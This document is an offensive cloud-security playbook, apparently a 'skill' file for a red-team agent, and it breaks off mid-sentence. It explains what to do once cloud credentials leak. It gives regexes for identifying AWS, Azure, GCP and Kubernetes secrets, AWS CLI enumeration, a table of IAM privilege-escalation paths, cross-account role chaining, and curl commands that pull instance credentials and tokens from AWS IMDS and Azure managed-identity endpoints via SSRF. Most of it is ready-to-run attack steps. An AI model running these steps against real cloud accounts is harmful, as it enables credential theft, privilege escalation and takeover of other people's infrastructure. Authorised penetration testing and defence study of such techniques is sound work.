When to use
Trigger when:
- A cloud credential surfaces (key, secret, token, JSON file)
- SSRF chain reaches IMDS / metadata endpoint
- APK / git-leak reveals embedded cloud key
- Recon shows public S3/GCS/Azure-blob with permissions you can verify
- A Kubernetes API or service-account token is exposed
- Post-RCE on a cloud-hosted instance — pivot to cloud control plane
Do NOT use for:
- On-prem-only environments (use AD attack skills — but those are out of scope per external-only boundary)
- Web2 vulns that happen to be on AWS — use the relevant
hunt-*skill
Credential identification (first 60 seconds)
# AWS access key patterns
AKIA[0-9A-Z]{16} # IAM user access key (long-term)
ASIA[0-9A-Z]{16} # STS temporary credential
AGPA[0-9A-Z]{16} # IAM group
AIDA[0-9A-Z]{16} # IAM user (user-id)
AROA[0-9A-Z]{16} # IAM role
ANPA[0-9A-Z]{16} # Managed policy
# AWS secret pattern (40-char base64-ish — context required)
[A-Za-z0-9/+=]{40} # AWS secret access key
# Azure
AccountKey=[A-Za-z0-9+/=]{86} # Storage account key
client_secret pattern + UUID # Azure AD app credential
# GCP service account JSON
{
"type": "service_account",
"project_id": "...",
"private_key_id": "...",
"private_key": "-----BEGIN PRIVATE KEY-----..."
}
# K8s SA token (JWT format — decode to confirm)
eyJhbGciOiJSUzI1... # decode kid claim to see issuer
AWS — read-only validation (the safe first step)
# Set credential
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
# 1. WHO am I?
aws sts get-caller-identity
# Returns: UserId, Account, Arn
# Arn tells you: IAM user vs role, account ID, name
# 2. WHAT can I do? (the privesc question)
# Try common read-only first — failures still inform you
aws iam list-users 2>&1 | head -5
aws iam list-roles 2>&1 | head -5
aws iam list-policies 2>&1 | head -5
aws iam list-groups 2>&1 | head -5
# 3. WHAT policies are attached to me?
aws iam list-attached-user-policies --user-name <self>
aws iam list-user-policies --user-name <self> # inline policies
aws iam list-groups-for-user --user-name <self>
# 4. Service-by-service surface
aws ec2 describe-instances --max-items 1 2>&1 | head
aws s3 ls 2>&1 | head -10
aws lambda list-functions --max-items 5 2>&1 | head
aws rds describe-db-instances --max-items 5 2>&1 | head
aws secretsmanager list-secrets --max-results 5 2>&1 | head
aws ssm describe-parameters --max-results 5 2>&1 | head
# 5. Audit any cross-account / external trust
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, `arn:aws:iam::`)]' 2>&1 | head -20
AWS privesc patterns (24+ documented — iam_privesc techniques)
Quick lookup — if you have any of these IAM actions, escalate via the listed technique:
| You have | Escalate via |
|---|---|
iam:CreateAccessKey | Create access key on any user → impersonate |
iam:CreateLoginProfile | Set a console password on a user → login |
iam:UpdateLoginProfile | Reset console password on a user |
iam:AttachUserPolicy | Attach AdministratorAccess to self |
iam:AttachGroupPolicy | Attach AdministratorAccess to a group you're in |
iam:AttachRolePolicy + sts:AssumeRole | Attach to a role you can assume |
iam:PutUserPolicy | Inline AdministratorAccess to self |
iam:PutGroupPolicy | Inline policy on a group |
iam:PutRolePolicy | Inline on a role you can assume |
iam:AddUserToGroup | Add self to admin group |
iam:UpdateAssumeRolePolicy + sts:AssumeRole | Modify trust to allow self |
iam:CreatePolicyVersion | Create v2 of an attached policy with admin |
iam:SetDefaultPolicyVersion | Switch attached policy to admin version |
iam:PassRole + ec2:RunInstances | Launch EC2 as admin role → use instance creds |
iam:PassRole + lambda:CreateFunction/InvokeFunction | Run code as admin role |
iam:PassRole + cloudformation:CreateStack | CF stack creates resources as admin |
iam:PassRole + glue:CreateDevEndpoint | Notebook runs as admin role |
iam:PassRole + datapipeline | Pipeline runs as admin role |
iam:PassRole + codestar:CreateProject | New project gets admin role |
ec2:RunInstances (with admin instance profile already on the AMI) | Spin instance, exfil creds from IMDS |
lambda:UpdateFunctionCode (function has admin role) | Replace code → exfil creds |
lambda:UpdateFunctionConfiguration | Add layer / env var that exfils |
cloudformation:UpdateStack | Modify stack to grant self admin |
sts:AssumeRole (where trust allows you) | Direct privilege jump |
Many of the destructive ones are out-of-scope for an external red-team; document the path, don't always execute.
AWS — STS / cross-account / role chaining
# Enumerate roles you can assume across accounts
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
# Parse for "Principal.AWS" containing different account IDs
# Assume a role
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"
# Set new creds
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
# Verify
aws sts get-caller-identity # should now show OTHER_ACCT
# Re-enumerate from new identity (chain continues)
Confused-deputy pattern: look for sts:ExternalId missing or trust policies that allow arn:aws:iam::*:role/*. If ExternalId is not required, anyone can assume the role.
AWS IMDSv1 / IMDSv2 abuse via SSRF
# IMDSv1 (legacy, still common — straight GET):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name → fetch creds:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# JSON with AccessKeyId, SecretAccessKey, Token, Expiration
# IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
TOKEN=...
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
# SSRF bypass for IMDSv2:
# Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.
# Exception: SSRF in functions that themselves perform requests with custom headers.
Azure — credential validation
# Login with a credential
az login --service-principal -u <appId> -p <password> --tenant <tenantId>
# OR with managed identity (from inside Azure VM)
az login --identity
# Who am I?
az account show
# Subscriptions
az account list --output table
# Role assignments (Azure RBAC)
az role assignment list --assignee <objectId> --all
az role assignment list --all --query '[?principalId==`<objectId>`]' --output table
# Resources I can read
az resource list --output table | head -30
az storage account list --output table
az keyvault list --output table
az vm list --output table
Azure — Managed Identity abuse
# From inside Azure VM (post-RCE or SSRF to IMDS-equivalent):
# Endpoint: http://169.254.169.254/metadata/identity/oauth2/token
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns access_token for the Managed Identity. Use:
TOKEN="..."
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
# Get token for Key Vault
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
# Get token for Graph
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"
# → If Managed Identity has Graph permissions, read all M365 d